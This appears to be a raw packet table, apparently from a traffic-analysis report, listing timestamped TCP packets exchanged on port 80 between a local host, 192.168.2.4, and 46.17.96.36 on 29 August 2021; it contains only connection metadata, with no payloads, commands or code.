Aug 29, 2021 22:28:28.305308104 CEST	49972	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.305336952 CEST	49971	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.312150955 CEST	49972	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.323468924 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.323601961 CEST	49973	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.339996099 CEST	49973	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.340094090 CEST	49973	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.340269089 CEST	49973	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.340393066 CEST	49973	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.347282887 CEST	80	49972	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.378674984 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.378707886 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.378730059 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.378813982 CEST	49973	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.378850937 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.378878117 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.378901958 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.378916025 CEST	49973	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.378931999 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.379004955 CEST	49973	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.379030943 CEST	49973	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.379061937 CEST	49973	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.379070044 CEST	49973	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.379354000 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.379441023 CEST	49973	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.394027948 CEST	80	49972	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.394135952 CEST	49972	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.417732000 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.417773008 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.417800903 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.417890072 CEST	49973	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.417952061 CEST	49973	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.417987108 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.418018103 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.418045998 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.418072939 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.418076992 CEST	49973	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.418102026 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.418112040 CEST	49973	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.418133020 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.418160915 CEST	49973	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.418169022 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.418198109 CEST	49973	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.418216944 CEST	49973	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.418226004 CEST	49973	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.418237925 CEST	49973	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.454809904 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.454838037 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.454853058 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.454864979 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.454958916 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.454977989 CEST	49973	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.455070019 CEST	49973	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.455199003 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.455224991 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.455355883 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.455502987 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.455523968 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.455648899 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.455666065 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.455682993 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.455698013 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.455712080 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.455725908 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.455833912 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.491764069 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.491986990 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.492012024 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.492037058 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.492072105 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.492294073 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.492331028 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.492609978 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.533855915 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.533982038 CEST	49973	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.539093018 CEST	49972	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.540314913 CEST	49974	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.571449041 CEST	80	49972	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.571544886 CEST	49972	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.571849108 CEST	80	49974	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.572004080 CEST	49974	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.577480078 CEST	49974	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:28.609333992 CEST	80	49974	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.653201103 CEST	80	49974	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:28.653393984 CEST	49974	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:37.782351017 CEST	49974	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:37.782763958 CEST	49973	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:37.783870935 CEST	49975	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:37.810933113 CEST	49976	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:37.815937042 CEST	80	49974	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.816060066 CEST	49974	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:37.820961952 CEST	80	49975	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.821099043 CEST	49975	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:37.821783066 CEST	80	49973	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.821866035 CEST	49973	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:37.833102942 CEST	49975	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:37.845117092 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.845254898 CEST	49976	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:37.851378918 CEST	49976	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:37.851492882 CEST	49976	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:37.851622105 CEST	49976	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:37.851701021 CEST	49976	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:37.868612051 CEST	80	49975	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.884251118 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.884299040 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.884331942 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.884362936 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.884399891 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.884488106 CEST	49976	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:37.884535074 CEST	49976	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:37.884546995 CEST	49976	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:37.884809971 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.884845972 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.884879112 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.884953022 CEST	49976	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:37.884989977 CEST	49976	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:37.885000944 CEST	49976	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:37.910872936 CEST	80	49975	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.910985947 CEST	49975	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:37.917581081 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.917624950 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.917649984 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.917831898 CEST	49976	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:37.917885065 CEST	49976	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:37.918081045 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.918256998 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.918283939 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.918307066 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.918420076 CEST	49976	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:37.918463945 CEST	49976	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:37.918490887 CEST	49976	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:37.918524027 CEST	49976	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:37.918750048 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.918881893 CEST	49976	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:37.918891907 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.930865049 CEST	49976	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:37.950198889 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.950236082 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.950261116 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.950298071 CEST	49976	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:37.950320005 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.950333118 CEST	49976	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:37.950381041 CEST	49976	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:37.950867891 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.950989962 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.951653004 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.951684952 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.951988935 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.952018023 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.952043056 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.952265978 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.952295065 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.962909937 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.963736057 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.963767052 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.963922977 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.982171059 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.982265949 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.982705116 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.983321905 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.983351946 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.983503103 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.983530998 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:37.983644962 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.020809889 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.020960093 CEST	49976	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.104667902 CEST	49976	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.104928970 CEST	49975	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.106009960 CEST	49977	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.136888027 CEST	80	49976	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.137176037 CEST	49976	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.138262987 CEST	80	49977	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.138366938 CEST	80	49975	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.138417959 CEST	49977	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.138458967 CEST	49975	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.140650034 CEST	49977	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.172892094 CEST	80	49977	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.219350100 CEST	80	49977	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.219459057 CEST	49977	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.409853935 CEST	49977	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.410993099 CEST	49978	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.420994043 CEST	49979	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.443080902 CEST	80	49977	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.443166018 CEST	80	49978	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.443300009 CEST	49977	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.443423986 CEST	49978	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.455014944 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.455135107 CEST	49979	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.485871077 CEST	49978	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.488233089 CEST	49979	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.488346100 CEST	49979	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.488554955 CEST	49979	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.488610029 CEST	49979	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.518416882 CEST	80	49978	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.522073984 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.522119045 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.522434950 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.522480011 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.522505045 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.522614956 CEST	49979	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.522670984 CEST	49979	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.522686958 CEST	49979	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.522789001 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.522865057 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.522881985 CEST	49979	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.523011923 CEST	49979	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.523060083 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.523087025 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.523174047 CEST	49979	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.523196936 CEST	49979	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.557575941 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.557615995 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.557634115 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.557657957 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.557693958 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.557723999 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.557800055 CEST	49979	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.557876110 CEST	49979	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.557902098 CEST	49979	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.557924986 CEST	49979	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.557945967 CEST	49979	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.559497118 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.559540987 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.559570074 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.559595108 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.559622049 CEST	49979	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.559670925 CEST	49979	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.559688091 CEST	49979	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.560132027 CEST	80	49978	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.560242891 CEST	49978	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.561507940 CEST	49979	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.592072964 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.592116117 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.592231989 CEST	49979	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.592292070 CEST	49979	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.592652082 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.592689991 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.592715979 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.592741013 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.592763901 CEST	49979	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.592766047 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.592792034 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.592817068 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.594710112 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.594765902 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.594800949 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.594825983 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.596551895 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.596576929 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.626816034 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.627078056 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.627110004 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.627238989 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.627265930 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.666209936 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.666344881 CEST	49979	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.674808979 CEST	49979	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.675144911 CEST	49978	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.676275969 CEST	49980	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.707715988 CEST	80	49978	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.707850933 CEST	49978	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.708587885 CEST	80	49980	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.708708048 CEST	49980	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.708884954 CEST	80	49979	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.708985090 CEST	49979	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.713371992 CEST	49980	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:38.745616913 CEST	80	49980	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.791438103 CEST	80	49980	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:38.791523933 CEST	49980	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.074122906 CEST	49980	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.075138092 CEST	49981	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.079463005 CEST	49982	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.107378006 CEST	80	49980	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.107419968 CEST	80	49981	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.107604027 CEST	49981	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.107603073 CEST	49980	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.113107920 CEST	49981	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.113341093 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.113504887 CEST	49982	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.115164042 CEST	49982	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.115245104 CEST	49982	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.115437984 CEST	49982	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.115556002 CEST	49982	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.146006107 CEST	80	49981	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.147583008 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.147739887 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.148035049 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.148065090 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.148091078 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.148156881 CEST	49982	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.148230076 CEST	49982	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.148257971 CEST	49982	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.148564100 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.148595095 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.148667097 CEST	49982	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.148704052 CEST	49982	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.148786068 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.148865938 CEST	49982	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.181133032 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.181169987 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.181191921 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.181216002 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.181235075 CEST	49982	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.181236982 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.181266069 CEST	49982	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.181268930 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.181319952 CEST	49982	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.181330919 CEST	49982	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.181339025 CEST	49982	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.181514978 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.181536913 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.181580067 CEST	49982	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.181617022 CEST	49982	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.181718111 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.181740999 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.181785107 CEST	49982	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.181807995 CEST	49982	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.191286087 CEST	80	49981	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.191384077 CEST	49981	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.213897943 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.213947058 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.213963032 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.214062929 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.214081049 CEST	49982	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.214093924 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.214210033 CEST	49982	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.214243889 CEST	49982	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.214454889 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.214557886 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.214615107 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.214659929 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.214713097 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.214756012 CEST	80	49982	46.17.96.36	192.168.2.4
